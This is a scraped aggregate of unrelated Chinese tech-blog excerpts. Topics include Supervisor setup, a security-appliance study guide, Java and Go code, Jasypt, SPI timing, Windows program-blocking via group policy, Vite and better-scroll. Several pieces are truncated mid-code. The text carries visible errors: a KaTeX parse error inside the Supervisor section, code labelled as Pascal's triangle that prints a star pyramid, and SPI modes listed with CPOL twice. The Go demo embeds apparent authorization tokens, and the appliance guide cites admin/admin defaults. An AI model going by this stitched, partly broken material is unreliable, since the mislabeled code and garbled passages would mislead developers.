broker=‘redis://@127.0.0.1:6379/1', backend=‘redis://@127.0.0.1:6379/2',) #创建任务函数 @app.task def task_test(a,b) Print(‘xxxxx’).

Supervisor管理服务,实现异常死亡进程自动重启

一.Supervisor基础介绍 1.supervisor是什么 supervisor是用python语言开发的一个进程管理工具,官方介绍说: Supervisor: A Process Control System,Supervisor是一个客户端/服务器系统,允许其用户监视和控制类UNIX操作系统上的许多进程 1.supervisord 服务器主进程名为supervisord。它负责在自己的调用中启动子程序,响应来自客户端的命令,重新启动崩溃或退出的子进程,记录其子进程stdout和stderr 输出,以及生成和处理与子进程生命周期中的点相对应的“事件”。 服务器进程使用配置文件。这通常位于/etc/supervisord.conf中。此配置文件是“Windows-INI”样式配置文件。通过适当的文件系统权限保持此文件的安全非常重要,因为它可能包含未加密的用户名和密码。 2.supervisorctl 主进程的命令行客户端部分名为 supervisorctl。它为supervisord提供的功能提供了类似shell的界面。从 supervisorctl,用户可以连接到不同的 supervisord进程(一次一个),获取由子进程控制的状态,停止和启动子进程,并获取supervisord的运行进程列表。 命令行客户机通过UNIX域套接字或internet (TCP)套接字与服务器通信。服务器可以断言客户机的用户应该在执行命令之前提供身份验证凭据。客户机进程通常使用与服务器相同的配置文件,但是其中包含[supervisorctl]部分的任何配置文件都可以工作。 3.Web Server 如果您针对internet套接字启动了adminord,那么可以通过浏览器访问具有与supervise orctl类似功能的(稀疏的)web用户界面。在激活配置文件的[inet_http_server]部分之后,访问服务器URL(例如http://localhost:9001/),通过web界面查看和控制进程状态 总结一下:Supervisor是用Python开发的一套通用的进程管理程序,能将一个普通的命令行进程变为后台daemon,并监控进程状态,异常退出时能自动重启。它是通过fork/exec的方式把这些被管理的进程当作supervisor的子进程来启动,这样只要在supervisor的配置文件中,把要管理的进程的可执行文件的路径写进去即可。也实现当子进程挂掉的时候,父进程可以准确获取子进程挂掉的信息的,可以选择是否自己启动和报警 1.2 supervisor安装 pip install supervisor supervisor安装完成后会生成三个执行程序:supervisord、supervisorctl、echo_supervisord_conf,分别是supervisor的守护进程服务(用于接收进程管理命令)、客户端(用于和守护进程通信,发送管理进程的指令)、生成初始配置文件程序 安装完成后没有supervisord.conf配置文件,需要我们手动创建,一般会把配置文件新建在/etc/下,所以cd到/etc下执行 echo_supervisord_conf > /etc/supervisord.conf创建配置文件 supervisor启动 以下启动顺序由上到下优先级,依次递减 supervisord #默认去找KaTeX parse error: Expected 'EOF', got '#' at position 76: … #̲默认CWD/etc/supervisord.conf,也就当前目录下的etc目录 supervisord #默认去找/etc/supervisord.conf的配置文件 supervisord -c /etc/supervisord.conf #到指定路径下去找配置文件 注意点:如果启动过程中提示没有permission就切换到root用户执行上面操作 1.3 supervisord.conf配置文件参数含义 [unix_http_server] file=/tmp/supervisor.sock ; socket文件的路径,supervisorctl用XML_RPC和supervisord通信就是通过它进行 的。如果不设置的话,supervisorctl也就不能用了 不设置的话,默认为none。 非必须设置 ;chmod=0700 ; 这个简单,就是修改上面的那个socket文件的权限为0700 不设置的话,默认为0700。 非必须设置 ;chown=nobody:nogroup ; 这个一样,修改上面的那个socket文件的属组为user.

Security ❀ 安全设备学习规范(汇总较多厂商的众多安全设备整理而出的文档)

文章目录 1、网络配置(1)部署方式(2)配置IP与路由(3)冗余机制(4)会话同步(5)账户管理(6)故障诊断 2、证书授权(1)序列号(2)Hash值 3、设备联动(1)平台对接(2)集群部署(3)API接口(4)北向/南向扩展 4、防护对象(1)资产定义(2)地址池/域名集 5、安全策略(1)DPI-深度报文检测技术特征识别关联识别行为识别 (2)特征库(3)应用统计 6、日志审计(1)安全日志(2)系统日志 安全设备学习规范是鄙人总结的一篇设备学习文档,针对较多厂商部分安全产品的使用教程进行整理并汇总,将其输出便于后人学习与拓展。 1、网络配置 网络配置即是安全设备加入到业务局域网的行为,其内容分别有以下几点; (1)部署方式 串联部署:安全设备串联接入网络环境,对网络拓扑改动相对较大,需要接入上下联接口(此处串联部署可支持接入二层接口或三层接口,根据设备而定,如NIPS-网络入侵检测系统接入为二层虚拟线接口、NF-下一代防火墙接入为三层IP地址接口)网关部署:以出口设备接入网络环境,对网络拓扑改动最大旁路部署:以额外设备接入网络环境,对网络拓扑基本没有改变(物理旁路,支持流量串联,也可设计为接收镜像流量) (2)配置IP与路由 IP地址、掩码、网关、DNS:安全设备接口分为管理口、业务口、虚拟线、镜像口、子接口、二层口,若有使用则管理口、业务口、子接口需要配置IP地址,不需要解析域名则不配置DNS地址;静态路由:安全防护设备基本IP配置分为业务口与管理口,业务口配置默认路由,管理口配置静态路由,配置内容主要为:目标网段+子网掩码+下一跳地址/出接口+度量值+优先级;动态路由协议:路由协议主要是为了防止静态路由太多或变更频繁而做的设定,主要支持协议为RIP、OSPF、ISIS、BGP; (3)冗余机制 VRRP:由于单个设备的不稳定性,需要建立冗余机制来防止设备故障造成的损失,VRRP为网关冗余协议,可以使得两个设备虚拟一个IP地址作为网关,主设备down机之后,备设备接管主设备工作,使得业务平衡切换,不会导致长时间断网;HA:高可用技术不仅仅限于网关冗余,其余机制同VRRP协议; (4)会话同步 正常情况下,业务流量走A线路进行网络访问,此时由于A线路安全设备故障导致业务流量切换,A线路的TCP会话未在B线路上进行同步,会导致所有会话重新建立连接,此时一旦业务流量中会话数量过多就会导致业务中断,直到新的会话建立完毕;需要避免前述现象就需要在A线路未损坏的情况下同步TCP会话数据到B线路上,防止A线路突然故障导致切换的业务中断; (5)账户管理 系统管理员:安全设备默认携带账户,最高管理权限账户,一般为admin/admin;普通管理员:系统管理员创建账户,方便运维人员使用,权限由系统管理员进行管理;日志审计员:主要用于审核系统日志,默认不开启,由系统管理员开启后方可使用; (6)故障诊断 网络故障诊断:主要判断网络引起的设备故障,主要为网络不可达、端口不可达、页面报错等现象;设备故障诊断:设备硬件故障,主要为板卡替换和返厂维修,具体预防措施为安全设备巡检; 2、证书授权 证书授权即是安全设备得到其厂商允许开通授权后进行防护策略的使用手段,重要安全防护功能必须通过此授权方可使用,此过程需要经济支持; (1)序列号 硬件设备开通授权为序列号; (2)Hash值 软件设备开通授权为Hash值; 3、设备联动 设备联动即是单个设备加入某个集合或团体而进行的设备功能操作,此操作使得设备方便运维、性能增强; (1)平台对接 单台设备的运维相对简单,十台设备的运维较为繁琐,百台与千台设备的运维就比较麻烦了,为了减少运维人员的工作和方便审计,因此需要某个平台接入安全防护设备,使得平台可以对安全设备下发防护策略、配置防护对象、修改防护内容、审计防护日志信息、建立不同的防护场景与机制; (2)集群部署 集群部署分为三种情况,分别为: 性能提升集群:此类集群主要是为了提升单一设备/服务器性能而构建的集群;负载均衡集群:此类集群主要是为了进行流量负载均衡而构建的集群,负载均衡主要算法有轮询、加权轮询等(负载均衡的相关算法种类很多,不同厂商设备支持的算法不同,轮询与加权轮询是最基础的负载均衡算法,图标中的白色数字为设备的性能倍数);分布式部署集群:此类集群主要是为了进行不同部署位置而构建的集群,可以理解为上海、深圳、北京的服务器构建一个集群用于业务使用; (3)API接口 软件对接接口,具体为研发开发的接口代码,此处不做概述; 此接口主要用于对接其他设备,由于不同厂商的平台位于不同层面因此需要对接上层/下层平台/设备,因此需要API接口对外提供对接服务来满足此需求; (4)北向/南向扩展 同API接口,此为API接口的目标; 4、防护对象 防护对象即是内网资产梳理过程,使得防护设备有目标可以防护,并且进行策略拦截限制; (1)资产定义 资产为客户内网经过梳理后的服务器或主机信息,将此信息输入进入安全防护设备后,一旦防护策略针对于SIP/DIP产生安全日志信息,会将其汇总并整理并向运维人员展示出来,便于信息梳理,从而进行修复与审核; 资产主要分为网站资产与主机资产,网站资产为URL信息,主机资产为固定IP地址,其余信息均为备注信息,方便使得运维识别此资产具体是什么设备、运行何种业务; (2)地址池/域名集 地址池为一段地址的集合,由于IP地址单个排列的占位过高,因此一连串的地址可以使用地址池进行配置与调用,便于管理;域名集为域名的集合,域名的URI不同代表不同的资源,因此将其前缀相同的域名进行整理并输出为域名集,其作用与效果同地址池一样; 5、安全策略 安全策略即是安全设备防护策略的配置,分类多种多样; 入侵检测与防护Web应用防火墙数据库审计系统抗DoS防护设备下一代防火墙 安全防护设备多种多样,其防护策略大同小异,最主要的使用规则为DPI-深度包检测、DFI-深度流检测,此两种协议均SAC中的一种协议应用; 智能应用控制SAC(Mmart Application Control)是一个智能的应用识别与分类引擎,利用深度报文检测技术,对报文的第4-7层内容和一些动态协议进行检测和识别,识别出应用协议后,可以通过流分类对应用协议进行分类,并指定QoS动作,以实施精细化的QoS服务; (1)DPI-深度报文检测技术 传统流量分类技术只能检测IP报文的4层以下的内容,包括源地址、目的地址、源端口、目的端口以及业务类型等(五元组);而深度报文检测技术在分析报文头部的基础上,增加了对应用层的分析,是一种基于应用层的流量检测和控制技术; 典型的深度报文检测技术识别包括:特征识别、关联识别、行为识别等,此三类识别技术分别适用于不同类型的协议,相互之间无法替代,通过综合的运用这三大技术,能够有效的识别网络上的各类应用,从而实现对网络数据流的深度控制; 特征识别 特征识别是深度报文检测技术的基础技术,不同的应用通常会采用不同的协议,而不同的协议具有各自的特征, 这些特征可能是特定的端口、特定的字符串或者是特定的比特序列,能标识该协议的特征称之为特征码; 特征识别技术,即通过匹配数据报文中的特征码来确定其应用,协议的特征不仅仅在单个报文中体现,某些协议报文的特征是分布早多个报文中的,需要对多个报文进行采集和分析才能识别出协议类型; 关联识别 对于某些数据流,控制通道和数据通道是分开的(例如FTP的20和21端口),会在网络中建立两个会话连接,这类应用需要先识别出控制流,再根据控制流的信息识别出相应的数据流; 关联识别可以将同一应用协议的控制流和数据流关联起来,通过对控制流的分析,分析出通讯双方需要在哪个通道上建立何种类型的数据流,并在协议识别时将控制通道流和该控制通道流协商出来的数据通道流关联起来; 深度报文检测技术在对控制通道流进行深度解析时,提取出其中协商的数据通道流的源三元组和目的三元组信息,并加入关联表,在后续的识别过程中,可以通过关联表项对数据通道流进行快速识别; 行为识别 行为模式识别技术必须对终端的各种行为进行研究,并在此基础上建立行为识别模型,基于行为识别模型,行为模式识别技术可以根据客户已经实施的行为,判断用户正在进行的动作或者即将实施的动作,行为模式识别技术通常用于那些无法由协议本身就能判断的业务(如垃圾邮件还是普通邮件,其业务流没有区别,只有进一步的分析,通过邮件的大小、频率、目的邮件和源邮件地址、变化的频率、被拒绝的频率等综合因素进行分析,建立综合识别模型,从而进行判断); (2)特征库 对于大部分协议来说,应用识别是通过特征码的匹配来实现的,但是应用软件会不断进行升级和更新,其特征码也会发生改变,导致原有特征码无法正确或者精确匹配应用协议,因此特征码需要及时更新,如果在产品软件包中固化特征码,每次更新特征码时就需要更新产品软件版本,用户使用很不方便;将特征码以特征文件库的方式提供给用户,与软件包分离,实现了特征码的动态加载和调用,用户不需要更新产品软件版本,不需要重启设备就可以很方便的更新升级应用识别能力,另外当出现一种新应用时,直接通过特征库的加载就能够满足动态支持; (3)应用统计 在接口使用应用统计功能时,设备会自动识别经过接口的流量并进行分类,对不同应用的流量进行统计,网络管理员可以及时掌握流量特征,从而优化网络部署,合理分配资源; 6、日志审计 日志审计即是安全策略拦截生成的安全日志 + 系统运行日志,此两部分日志共同构成了设备的运行审计功能,方便后续进行操作归责与验证判定;

杨辉三角的原理

public class Demo08 { //杨辉三角 public static void main(String[] args) { //打印三角形 5行 for (int i = 1; i <= 5; i++) { //第一部分,左边空部分 for (int j = 5; j >= i; j--) { System.out.print(" "); } // 第二部分,左三角 for (int j = 1; j <= i; j++) { System.out.print("*"); } //第三部分,右三角 for (int j = 1; j < i; j++) { System.out.print("*"); } System.out.println(); } } }

Java加密技术(Jasypt、MD5、AES)

java加解密算法有很多,在此记录常用的三种Jasypt、MD5、AES加密算法的使用; (1) Jasypt Jasypt 加密, 通常用于加密配置文件中的密码,比如mysql密码、redis密码等; <!-- jasypt 加解密--> <dependency> <groupId>com.github.ulisesbocchio</groupId> <artifactId>jasypt-spring-boot-starter</artifactId> <version>2.1.1</version> </dependency> 配置: # 加密的盐 jasypt: encryptor: password: qwetqweyiquq # ENC(加密后的密文) redis: password: ENC(VPSapwY1AJzmHZQjWq62KpBiMDu7W37M) 测试代码: @Test public void testJasypt(){ BasicTextEncryptor textEncryptor = new BasicTextEncryptor(); //加密所需的salt(盐) textEncryptor.setPassword("qwetqweyiquq"); //要加密的数据(数据库的用户名或密码) String username = textEncryptor.encrypt("root"); String password = textEncryptor.encrypt("123456"); System.out.println("username:" + username); System.out.println("password:" + password); // 解密 String realUsername = textEncryptor.decrypt(username); String realPassword = textEncryptor.decrypt(password); System.out.println("realUsername:" + realUsername); System.out.println("realPassword:" + realPassword); } (2)MD5 加密算法

RocketMQ声明topic以及consumergroup根据不同环境隔离

其实很简单, 直接上代码 @RocketMQMessageListener(topic = "${spring.profiles.active}_yourtopic", consumerGroup = "${spring.profiles.active}_yourgroup") public class YourConsumer{ .... } 这样就可以自动找到你在项目中激活的配置文件,这样你声明的topic以及consumergroup就会自动加上对应环境前缀做隔离

小程序关闭内嵌的H5页面,返回到小程序上一级页面

首先关键引入小程序js库 <script src="https://res.wx.qq.com/open/js/jweixin-1.4.0.js"></script> 调用小程序内的方法即可 wx.miniProgram.navigateBack({}) // 这里退回到上一级页面, 也就是刚刚跳转前的页面 详情可见此链接https://www.freesion.com/article/458369020/

火星坐标转WGS84

火星坐标转为WGS84坐标 import math import openpyxl as op x_pi = 3.14159265358979324 * 3000.0 / 180.0 pi = 3.1415926535897932384626 # π a = 6378245.0 # 长半轴 ee = 0.00669342162296594323 # 扁率 def gcj02towgs84(lng, lat): """ GCJ02(火星坐标系)转GPS84 :param lng:火星坐标系经度 :param lat:火星坐标系纬度 :return: """ if out_of_china(lng, lat): return lng, lat dlat = transformlat(lng - 105.0, lat - 35.0) dlng = transformlng(lng - 105.0, lat - 35.0) radlat = lat / 180.0 * pi magic = math.

STM32CubeMX重新生成代码相关问题

解决stm32cubemx重新生成代码自己添加文件没有了的小窍门 - ST MCU单片机论坛 - ST(意法半导体)MCU官方技术论坛 - 21ic电子技术开发论坛

配置sass全局变量Undefined variable: “$theme-color“.

原因:sass版本不同选项不同 sass v8 版本使用 prependData module.exports = { css: { loaderOptions: { sass: { prependData: `@import "assets/css/_variable.scss";` } } }, configureWebpack: { resolve: { alias: { 'common': '@/common', 'components': '@/components', 'views': '@/views', 'network': '@/network', 'assets': '@/assets' } } } } 之前的版本使用: module.exports = { css: { loaderOptions: { sass: { data: `@import "assets/css/_variable.scss";` // sass v8版本使用这个 prependData } } }, configureWebpack: { resolve: { alias: { 'common': '@/common', 'components': '@/components', 'views': '@/views', 'network': '@/network', 'assets': '@/assets' } } } }

golang gin/net/http demos

1."net/http"包可以用来做什么? 可以通过url接口进行参数、文件的传递,并获取响应response。方法包括:GET、PUT、DELETE、POST等。 举个例子: 在浏览器中输入:http://localhost:8080/start_test?projectid=QQ%E9%A3%9E%E8%BD%A6&zoneid=0,则将参数projectid=QQ%E9%A3%9E%E8%BD%A6和zoneid=0传递给服务器,服务器会返回一个响应,在浏览器页面显示。 这是采用在浏览器中输入url的方式访问,也可以采用代码的方式进行同样的操作,如下: package main import ( "fmt" "io/ioutil" "net/http" "strings" ) func Post() { url := "http://xxxxx:8080/v2/repos/wh_flowDataSource1/data" payload := strings.NewReader("a=111") req, _ := http.NewRequest("POST", url, payload) req.Header.Add("Date", "Tue, 11 Sep 2018 10:57:09 GMT") req.Header.Add("Authorization", "oqSBNbmgAAGI155F6MJ3N2Tk9ruL_6XQpx-uxkkg:8bUg3Iy5CVzU3vXyJyZXNvdXJjZSI6Ii92Mi9yZXBvcy93aF9mbG93RGF0YVNvdXJjZTEvZGF0YSIsImV4cGlyZXMiOjE1MzY2OTkwODgsIIiLCJjb250ZW50VHlwZSI6InRleHQvcGxhaW4iLCJoZWFkZXJzIjoiIiwibWV0aG9kIjoiUE9TVCJ9") req.Header.Add("Content-Type", "text/plain") res, _ := http.DefaultClient.Do(req) defer res.Body.Close() body, _ := ioutil.ReadAll(res.Body) fmt.Println(res) fmt.Println(string(body)) } func Get() { url := "http://xxxxx:8080/v2/repos/wh_flowDataSource1" req, _ := http.NewRequest("GET", url, nil) req.Header.Add("Authorization", "BNbmgAAGI155F6MJ3N2Tk9ruL_6XQpx-uxkkg:tGCY3xCsgybHd5IjcDMi9yZXBvcy93aF9mbG93RGF0YVNvdXJjZTEiLCJleHBpcmVzIjoxNTM2NzU4NjQ3LCJjb250ZW5VudFR5cGUiOiIiLCJoZWFkZXJzIjoiIiwibWV0aG9kIjoiR0VUIn0=") res, _ := http.

spi时序图怎么分析,怎么看懂spi时序图

我做产品的时候,最怕就是做IIC和SPI的通信。 这两种协议时序哪怕是延时时间有误差,都有可能导致通信不上。 出现问题的时候,如果没设备也很难排查问题到底出在哪里。 有时候这个产品写好的时序程序,换一个单片机用同一个程序移植过去就不行了。 而且很多公司都没有设备可以调试这些协议,大多数时候都是完全靠蒙。 今天就拿新手比较头痛的SPI来进行时序图的分析和讲解,看不懂你打我! 我记得第一次SPI通讯的时候,完全是照抄网络上的程序,因为芯片手册的时序图看起来太可怕了,根本看不懂。 后面各种模拟时序写多了,才有了经验,然后用经验去理解数据手册以及网络上的教程。 很多新手看各种数据手册和教程被吓到了,其实很多时候不是你的问题,而是数据手册和教程写的太学术化了。 举个例子,就像SPI协议用CPOL和CPHA真值表来选择不同的模式。 因为在很多SPI接口芯片的数据手册根本没提CPOL和CPHA这两个东西,那要怎么知道芯片的通讯模式? 其实是要我们自己根据芯片手册的时序图去分析模式的,而不会直接告诉你是用的哪个模式。 所以在看时序之前,我们先要了解CPOL和CPHA到底有啥区别。 CPHA是用来控制数据是在第一个跳变沿还是第二个跳变沿采集的。 通过上图可以看到: CPHA=0的时候,数据是在第一个跳变沿的时候就会被采集。 CPHA=1的时候,数据是在第二个跳变沿的时候才会被采集。 那问题来了,到底是上升沿还是下降沿采集? 这个就由CPOL来决定了: CPOL=0的时候是上升沿采集。 CPOL=1的时候是下降沿采集。 除此以外,CPOL还决定了我们时钟线SCLK空闲时的状态。 CPOL=0的时候表示SCLK在空闲时为低电平。 CPOL=1的时候表示SCLK在空闲时为高电平。 Ok,明白了这个,我们再分析4种模式的时序图。 1.模式0(CPOL=0 CPOL=0) CPOL = 0:时钟线空闲时是低电平,第1个跳变沿是上升沿,第2个跳变沿是下降沿 CPHA = 0:数据在第1个跳变沿(上升沿)采样 时序图如下: 2.模式1(CPOL=0 CPOL=1) CPOL = 0:空闲时是低电平,第1个跳变沿是上升沿,第2个跳变沿是下降沿 CPHA = 1:数据在第2个跳变沿(下降沿)采样 时序图如下: 3.模式2(CPOL=1 CPOL=0) CPOL = 1:空闲时是高电平,第1个跳变沿是下降沿,第2个跳变沿是上升沿 CPHA = 0:数据在第1个跳变沿(下降沿)采样 时序图如下: 4.模式3(CPOL=1 CPOL=1) CPOL = 1:空闲时是高电平,第1个跳变沿是下降沿,第2个跳变沿是上升沿 CPHA = 1:数据在第2个跳变沿(上升沿)采样 时序图如下: 这样看是不是对4种模式的区别比较清晰了? 下面,我们再拿OLED的驱动芯片SSD1306的时序图来作为实战讲解。 SSD1306的4线SPI通讯时序如下: 从这个时序图可以看出几个关键点: 在发送数据之前,要把CS引脚拉低。D/C一般是用来控制发送命令还是数据的。数据在第二个SCLK跳变开始传输。数据在SCLK上升沿的时候进行传输,每次发送一个Bit,高位在前。 所以,由这个时序图可以判断出来,用的是SPI模式3的通讯方式。 知道这个之后,你就知道单片机的硬件SPI模式要怎么配置了(下图以STM32为例)。 ok,今天时间关系,就先写到这里,如果赞多的话再回来更。

计算机软件的初始密码,怎么设置电脑软件密码

很多软件都有自己的作品和资料,如果我们不想让其他人用自己的电脑,应该怎么设置电脑软件密码呢?以下是小编分享的设置电脑软件密码方法,一起看看吧! 一、限制用户对文件的访问权限 如果程序所在的磁盘分区文件系统为NTFS格式,管理员账户可以利用NTFS文件系统提供的文件和文件夹安全选项控制用户对程序及文件的访问权限。通常情况下,一个应用程序安装到系统后,本地计算机的所有账户都可以访问并运行该应用程序。如果取消分配给指定用户对该应用程序或文件夹的访问权限,该用户也就失去了运行该应用程序的能力。 例如,要禁止受限用户运行Outlook Express应用程序,可以进行如下的操作: (1)、以administrator账户登录系统,如果当前系统启用了简单文件共享选项,需要将该选项关闭。具体做法是,在Windows浏览器窗口点击“工具”菜单下的“文件夹选项”,点击“查看”选项页,取消“使用简单文件共享”选项的选择,点击“确定”。 (2)、打开Program Files文件夹,选中Outlook Express文件夹并单击右键,选择“属性”。 (3)、点击“安全”选项页,可以看到Users组的用户对该文件夹具有读取和运行的权限,点击“高级”。 (4)、取消“从父项继承那些可以应用到子对象的权限项目,包括那些再次明确定义的项目”选项的选择,在弹出的提示信息对话框,点击“复制”,此时可以看到用户所具有的权限改为不继承的。 (5)、点击“确定”,返回属性窗口,在“用户或组名称”列表中,选择Users项目,点击“删除”,点击“确定”,完成权限的设置。 要取消指定用户对文件或程序的访问限制,需要为文件或文件夹添加指定的用户或组并赋予相应的访问权限。 这种方法允许管理员针对每个用户来限制他访问和运行指定的应用程序的权限。但是这需要一个非常重要的前提,那就是要求应用程序所在的分区格式为NTFS,否则,一切都无从谈起。 对于FAT/FAT32格式的分区,不能应用文件及文件夹的安全选项,我们可以通过设置计算机的策略来禁止运行指定的应用程序。 二、启用“不要运行指定的Windows应用程序”策略 在组策略中有一条名为“不要运行指定的Windows应用程序”策略,通过启用该策略并添加相应的应用程序,就可以限制用户运行这些应用程序。设置方法如下: (1)、在“开始”“运行”处执行gpedit.msc命令,启动组策略编辑器,或者运行mmc命令启动控制台,并将“组策略”管理单元加载到控制台中; (2)、依次展开“‘本地计算机’策略”“用户设置”“管理模板”,点击“系统”,双击右侧窗格中的“不要运行指定的Windows应用程序”策略,选择“已启用”选项,并点击“显示”。 (3)、点击“添加”,输入不运行运行的应用程序名称,如命令提示符cmd.exe,点击“确定”,此时,指定的应用程序名称添加到禁止运行的程序列表中。 (4)、点击“确定”返回组策略编辑器,点击“确定”,完成设置。 当用户试图运行包含在不允许运行程序列表中的应用程序时,系统会提示警告信息。把不允许运行的应用程序复制到其他的目录和分区中,仍然是不能运行的。要恢复指定的受限程序的运行能力,可以将“不要运行指定的Windows应用程序”策略设置为“未配置”或“已禁用”,或者将指定的应用程序从不允许运行列表中删除(这要求删除后列表不会成为空白的)。 这种方式只阻止用户运行从Windows资源管理器中启动的程序,对于由系统过程或其他过程启动的程序并不能禁止其运行。该方式禁止应用程序的运行,其用户对象的作用范围是所有的用户,不仅仅是受限用户,Administrators组中的账户甚至是内建的administrator帐户都将受到限制,因此给管理员带来了一定的不便。当管理员需要执行一个包含在不允许运行列表中的应用程序时,需要先通过组策略编辑器将该应用程序从不运行运行列表中删除,在程序运行完成后,再将该程序添加到不允许运行程序列表中。需要注意的是,不要将组策略编辑器(gpedit.msc)添加到禁止运行程序列表中,否则会造成组策略的自锁,任何用户都将不能启动组策略编辑器,也就不能对设置的策略进行更改。 提示:如果没有禁止运行“命令提示符”程序的话,用户可以通过cmd命令,从“命令提示符”运行被禁止的程序,例如,将记事本程序(notepad.exe)添加不运行列表中,通过XP的桌面运行该程序是被限制的,但是在“命令提示符”下运行notepad命令,可以顺利的启动记事本程序。因此,要彻底的禁止某个程序的运行,首先要将cmd.exe添加到不允许运行列表中。 三、设置软件限制策略 软件限制策略是本地安全策略的一个组成部分,管理员通过设置该策略对文件和程序进行标识,将它们分为可信任和不可信任两种,通过赋予相应的安全级别来实现对程序运行的控制。这个措施对于解决未知代码和不可信任代码的可控制运行问题非常有效。软件设置策略使用两个方面的设置对程序进行限制:安全级别和其他规则。 安全级别分为“不允许的”和“不受限制的”两种。其中,“不允许的”将禁止程序的运行,不论用户的权限如何;“不受限的”允许登录用户使用他所拥有的权限来运行程序。 其它规则,即由管理员通过制定规则对指定的一批或一个文件和程序进行标识,并赋予“不允许的”或“不受限的”安全级别。在这个部分中,管理员可以制定四种类型的规则,按照优先级别分别是:散列规则、证书规则、路径规则和Internet区域规则,这些规则将对文件的访问和程序的运行提供最大限度的授权级别。 1.电脑开机密码怎么设置_电脑开机密码的设置 2.电脑黑屏密码怎么设置 3.电脑怎么设置开机密码? 4.电脑怎么设置开机密码 5.电脑开机密码怎么设置 6.怎么设置电脑黑屏密码 7.电脑怎么设置密码 8.电脑密码怎么设置 9.天翼网关怎么设置密码 10.怎么设置电脑开机密码

Vite学习笔记

一、法语:快 1、是一个面向现代浏览器的更轻、更快的Web应用开发工具 2、使用浏览器原生支持的ES Module,在开发模式下不需要打包,提升开发速度 3、vue-cli 开发模式下必须对项目打包才可以运行 二、Vite优点 1、快速冷启动 2、按需编译 3、模块热更新 4、生产环境使用Rollup打包,基于ES Module打包,体积小 5、开箱即用(TypeScript 内置支持、less/sass/stylus/postcss 内置支持、JSX、Web Assembly) PS: 使用Webpack打包的原因: 1、浏览器环境不支持模块化 2、零散的模块文件会产生大量的HTTP请求 这两个问题现代浏览器和HTTP2.0已经基本解决了。 三、核心功能 1、静态Web服务器 2、编译单文件组件(拦截浏览器不识别的模块并处理) 3、HMR(通过websocket实现) 四、Vite的使用 初始化创建项目 npm init vite-app vite-demo 切换到项目根目录 cd vite-demo 安装依赖 npm i 运行项目 vite serve 打包项目 vite build 五、实现原理 基本的思路: 1、开启静态Web服务器 使用第三方框架koa来模拟开启Web服务器 2、修改第三方模块的路径 处理:import vue from 'vue' => import vue from '/@modules/vue' 不处理:import App from './App.vue' (.或/都不处理) 3、加载第三方模块 判断如果是以 '/@modules/'结尾,说明是第三方模块,手动拼接好正确的地址,使用require去加载 4、编译单文件组件 两次请求: 把单文件组件编译为对象 编译单文件组件的模板并返回render函数

better-scroll移动端滚动插件的使用

今天分享一下better-scroll插件的使用 最近在做coderwhy老师的移动端商城项目,用到了better-scroll插件,下面介绍一下它的用法。 一、下载 可以去GitHub或者gitee上面搜索better-scroll进行下载 在vue项目中,可直接使用 npm install better-scroll 进行安装 js文件下载地址:https://unpkg.com/better-scroll@2.4.1/dist/better-scroll.js 二、滚动 2.1原生滚动 接下来介绍一下原生滚动。 原生滚动在网页端的支持度较好,在移动端,由于各种浏览器的不同,会出现一些bug,且滚动动速度慢。 原生滚动的原理为,在一个div盒子中放置多个元素,为盒子设置样式 例子: 在ul中放置50个li 结构代码: <ul class="content"> <li>1</li> <li>2</li> <li>3</li> <li>4</li> <li>5</li> <li>6</li> <li>7</li> <li>8</li> <li>9</li> <li>10</li> <li>11</li> <li>12</li> <li>13</li> <li>14</li> <li>15</li> <li>16</li> <li>17</li> <li>18</li> <li>19</li> <li>20</li> </ul> 为ul设置样式,可以设置高度,也可以使用默认高度即父盒子的高度,开启y轴滚动 样式代码: /* 原生滚动 */ .content { height: 200px; background-color: pink; /* 溢出隐藏 */ overflow: hidden; /* y轴上进行滚动 */ overflow-y: scroll ; } 2.2使用better-scroll better-scroll的原理是一个大盒子(wrapper)里面包含一个盒子(content),在content中可以放内容,但是content必须要包含在一个大盒子中,盒子高度小于内容高度时效果明显。 2.2.1在vue中使用 在项目终端,安装better-scroll npm install better-scroll 在组件中使用,结构如下所示:

计算机可移动磁盘无法显示图片,移动硬盘不显示盘符原因及解决方法步骤介绍【图文详解】...

【导读】我们大家都知道,对于移动硬盘来说,它做为一个大容量的存储设备,就目前来看使用的概率越来越大。使用也是非常方便的,我们可以把移动硬盘利用USB接口跟计算机连在一起,就像在本地的大硬盘一样。但有一点需要我们注意的就是,有时我们把移动硬盘插入计算机的时候,会出现盘符不显示的情况,因此让我们很郁闷。小编通过多方面的研究,总结了一下解决方案,现在展示给大家,以作参考。 移动硬盘不显示盘符原因 有的时候我们会发现,当插入移动硬盘的时候,计算机不能够完全的显示出来相应的盘符,或者是根本不显示任何的盘符。对于这个问题一般就是硬盘本身的大容量与计算机本身的硬件出现了不兼容导致的,对于这样的问题解决起来还是比较简单的。 移动硬盘不显示盘符解决步骤 第一步我们可以在桌面右键“计算机”,然后在弹出的相应的菜单里面选择“管理”这个选项。 第二步就是在打开的对话框中我们可以看到无法正常显示的那个磁盘,然后在这个磁盘上点击右键,在弹出的菜单里面点击“更改驱动器号和路径”。 第三步我们需要点击添加按钮,这样就会弹出一个对话框,也就是为当前的分区重新的指定“盘符”,然后我们点击确定。这个时候我们就可以看到相应的盘符了。但是如果不出现的话,我们还需要继续下一步。 第四步就是当我们重启电脑之后,我们就会发现这个盘符又会消失了。对于这样的情况,我们只能够选择在注册表编辑器里面进行修改了。 第五步我们需要打开“运行”这个对话框,然后在里面输入regedit命令,进而打开相应的注册表程序。 第六步我们依次的打开“HKEY_ CURRENT_USER”/“Software”/“Microsoft”/“Windows”/“CurrentVersion”/“Policies”/“Explorer”,然后在右侧进行右击进行新建,选择二进制值,然后把它命名为NoDrives,把值设置成“0”,再点击确定。 到此为止,我们可以重启一下电脑试试,发现彻底的解决了上面的问题。 经过上面的简单了解,相信大多数的朋友们都对于移动硬盘不显示盘符有了一定的了解。简单的讲对于移动硬盘的使用越来越多,而相应的问题也会越来越多。在这样多的问题中,我们也只能通过不断的总结才可以应对很多的硬盘问题。